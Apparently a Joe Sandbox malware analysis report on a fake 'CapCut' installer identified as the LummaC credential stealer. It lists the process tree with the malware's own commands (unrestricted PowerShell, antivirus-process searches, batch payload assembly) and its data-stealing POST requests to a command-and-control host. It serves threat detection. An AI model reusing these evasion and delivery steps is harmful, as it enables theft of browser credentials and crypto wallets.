Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
CapCut_12.0.4_Installer.exe

Overview

General Information

Sample name:CapCut_12.0.4_Installer.exe
Analysis ID:1576947
MD5:8a671a1eea06778b362ba71f6ba06814
SHA1:18e6e016a7f3f463b73f1a5bb5209b48f6d24ed9
SHA256:3a571ea16c1d311ca9b2c914a85726a8cd0bb4f7b0b64d8c1692df59468907ce
Tags:exeuser-SquiblydooBlog
Infos:

Detection

LummaC Stealer
Score:81
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Sigma detected: Search for Antivirus process
Suricata IDS alerts for network traffic
Yara detected LummaC Stealer
Drops PE files with a suspicious file extension
Drops large PE files
Loading BitLocker PowerShell Module
Query firmware table information (likely to detect VMs)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Abnormal high CPU Usage
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Drops PE files
Enables debug privileges
Enables security privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Installs a raw input device (often for capturing keystrokes)
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries keyboard layouts
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Console CodePage Lookup Via CHCP
Sigma detected: Suspicious Copy From or To System Directory
Suricata IDS alerts with low severity for network traffic
Uses 32bit PE files
Uses a known web browser user agent for HTTP communication
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • CapCut_12.0.4_Installer.exe (PID: 7120 cmdline: "C:\Users\user\Desktop\CapCut_12.0.4_Installer.exe" MD5: 8A671A1EEA06778B362BA71F6BA06814)
    • PhilipinessAvia Application.exe (PID: 6448 cmdline: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" MD5: 13A330AD06FA31614522A0680888B16C)
      • cmd.exe (PID: 4828 cmdline: C:\Windows\system32\cmd.exe /d /s /c "chcp" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 6452 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • chcp.com (PID: 5744 cmdline: chcp MD5: 33395C4732A49065EA72590B14B64F32)
      • PhilipinessAvia Application.exe (PID: 1104 cmdline: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1968 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 13A330AD06FA31614522A0680888B16C)
      • PhilipinessAvia Application.exe (PID: 2828 cmdline: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --mojo-platform-channel-handle=2136 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8 MD5: 13A330AD06FA31614522A0680888B16C)
      • cmd.exe (PID: 2516 cmdline: C:\Windows\system32\cmd.exe /d /s /c "echo %COMPUTERNAME%.%USERDNSDOMAIN%" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5640 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 6544 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6272 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1196 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5672 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 5780 cmdline: C:\Windows\system32\cmd.exe /d /s /c "findstr /C:"Detected boot environment" "%windir%\Panther\setupact.log"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • findstr.exe (PID: 2416 cmdline: findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log" MD5: 804A6AE28E88689E0CF1946A6CB3FEE5)
      • powershell.exe (PID: 1700 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 2084 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2140 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4296 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5228 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 4312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 4956 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5928 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5088 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 6544 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5640 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 5888 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 2044 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 1620 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7648 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7656 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7800 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7808 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7920 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7936 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7928 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7952 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7944 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7972 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8008 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 7988 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8028 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8020 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 8060 cmdline: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command - MD5: 04029E121A0CFA5991749937DD22A1D9)
        • conhost.exe (PID: 8156 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 7504 cmdline: C:\Windows\system32\cmd.exe /d /s /c ""C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe"" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • ThemCiao.exe (PID: 7664 cmdline: "C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe" MD5: 2783F1199571BC172AA55EC4B0846490)
          • cmd.exe (PID: 7724 cmdline: "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • conhost.exe (PID: 7736 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
            • tasklist.exe (PID: 7684 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 7656 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • tasklist.exe (PID: 5168 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
            • findstr.exe (PID: 4592 cmdline: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 7840 cmdline: cmd /c md 530420 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • findstr.exe (PID: 7872 cmdline: findstr /V "Autos" Pupils MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
            • cmd.exe (PID: 7860 cmdline: cmd /c copy /b ..\Realty + ..\Toys + ..\Ja + ..\Titans + ..\Victoria + ..\Healthy q MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
            • Classes.com (PID: 7900 cmdline: Classes.com q MD5: 62D09F076E6E0240548C2F837536A46A)
            • choice.exe (PID: 7832 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
      • PhilipinessAvia Application.exe (PID: 7244 cmdline: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\poikfwdnmyoitatx" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAGAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1124 --field-trial-handle=1972,i,14616455361146900867,1487704359952654911,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2 MD5: 13A330AD06FA31614522A0680888B16C)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

PCAP (Network Traffic)

SourceRuleDescriptionAuthorStrings
sslproxydump.pcapJoeSecurity_LummaCStealer_3Yara detected LummaC StealerJoe Security
    sslproxydump.pcapJoeSecurity_LummaCStealer_2Yara detected LummaC StealerJoe Security

      Sigma Signatures

      System Summary

      barindex
      Sigma detected: Change PowerShell Policies to an Insecure Level
      Source: Process startedAuthor: frack113: Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe, ParentProcessId: 6448, ParentProcessName: PhilipinessAvia Application.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 5640, ProcessName: powershell.exe
      Sigma detected: Console CodePage Lookup Via CHCP
      Source: Process startedAuthor: _pete_0, TheDFIRReport: Data: Command: chcp, CommandLine: chcp, CommandLine|base64offset|contains: r), Image: C:\Windows\System32\chcp.com, NewProcessName: C:\Windows\System32\chcp.com, OriginalFileName: C:\Windows\System32\chcp.com, ParentCommandLine: C:\Windows\system32\cmd.exe /d /s /c "chcp", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4828, ParentProcessName: cmd.exe, ProcessCommandLine: chcp, ProcessId: 5744, ProcessName: chcp.com
      Sigma detected: Suspicious Copy From or To System Directory
      Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe", ParentImage: C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe, ParentProcessId: 7664, ParentProcessName: ThemCiao.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd, ProcessId: 7724, ProcessName: cmd.exe
      Sigma detected: Non Interactive PowerShell Process Spawned
      Source: Process startedAuthor: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\PhilipinessAvia Application.exe, ParentProcessId: 6448, ParentProcessName: PhilipinessAvia Application.exe, ProcessCommandLine: powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -, ProcessId: 5640, ProcessName: powershell.exe

      HIPS / PFW / Operating System Protection Evasion

      barindex
      Sigma detected: Search for Antivirus process
      Source: Process startedAuthor: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Bright Bright.cmd & cd & Bright.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7724, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 4592, ProcessName: findstr.exe

      Suricata Signatures

      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-17T18:54:10.684611+010020283713Unknown Traffic192.168.2.449895104.21.2.110443TCP
      2024-12-17T18:54:12.632329+010020283713Unknown Traffic192.168.2.449901104.21.2.110443TCP
      2024-12-17T18:54:14.983703+010020283713Unknown Traffic192.168.2.449907104.21.2.110443TCP
      2024-12-17T18:54:17.451106+010020283713Unknown Traffic192.168.2.449914104.21.2.110443TCP
      2024-12-17T18:54:20.048876+010020283713Unknown Traffic192.168.2.449921104.21.2.110443TCP
      2024-12-17T18:54:22.261782+010020283713Unknown Traffic192.168.2.449927104.21.2.110443TCP
      2024-12-17T18:54:24.558180+010020283713Unknown Traffic192.168.2.449933104.21.2.110443TCP
      2024-12-17T18:54:28.181520+010020283713Unknown Traffic192.168.2.449943104.21.2.110443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-17T18:54:11.402138+010020546531A Network Trojan was detected192.168.2.449895104.21.2.110443TCP
      2024-12-17T18:54:13.495801+010020546531A Network Trojan was detected192.168.2.449901104.21.2.110443TCP
      2024-12-17T18:54:29.198237+010020546531A Network Trojan was detected192.168.2.449943104.21.2.110443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-17T18:54:11.402138+010020498361A Network Trojan was detected192.168.2.449895104.21.2.110443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-17T18:54:13.495801+010020498121A Network Trojan was detected192.168.2.449901104.21.2.110443TCP
      TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
      2024-12-17T18:54:22.995459+010020480941Malware Command and Control Activity Detected192.168.2.449927104.21.2.110443TCP

      Joe Sandbox Signatures

      Click to jump to signature section

      Show All Signature Results

      AV Detection

      barindex
      Multi AV Scanner detection for submitted file
      Source: CapCut_12.0.4_Installer.exeReversingLabs: Detection: 18%
      Source: CapCut_12.0.4_Installer.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\LICENSE.electron.txtJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile created: C:\Users\user\AppData\Local\Temp\2q4oXTq4j47YyejO9rcdlV9grgw\LICENSE.electron.txtJump to behavior
      Source: CapCut_12.0.4_Installer.exeStatic PE information: certificate valid
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49895 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49901 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49907 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49914 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49921 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49927 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49933 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 104.21.2.110:443 -> 192.168.2.4:49943 version: TLS 1.2
      Source: CapCut_12.0.4_Installer.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\localesJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\userJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\7z-out\resourcesJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\Desktop\desktop.iniJump to behavior
      Source: C:\Users\user\Desktop\CapCut_12.0.4_Installer.exeFile opened: C:\Users\user\AppData\Local\Temp\nsj519A.tmp\app-64.7zJump to behavior

      Networking

      barindex
      Suricata IDS alerts for network traffic
      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49927 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49895 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49901 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49901 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49895 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49943 -> 104.21.2.110:443
      Source: Joe Sandbox ViewIP Address: 162.159.61.3 162.159.61.3
      Source: Joe Sandbox ViewIP Address: 104.21.2.110 104.21.2.110
      Source: Joe Sandbox ViewJA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49901 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49914 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49933 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49907 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49895 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49943 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49927 -> 104.21.2.110:443
      Source: Network trafficSuricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49921 -> 104.21.2.110:443
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 51Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=RKDSVZCS87D51BWYPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18161Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=YBG26UIIFUZ06User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8758Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=8QF08OU101QW06SVWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20435Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=7ZM8GYEHXB27IIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1282Host: sweepyribs.lat
      Source: global trafficHTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=EN7F7H24EKPWIGQQYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 591022Host: sweepyribs.lat
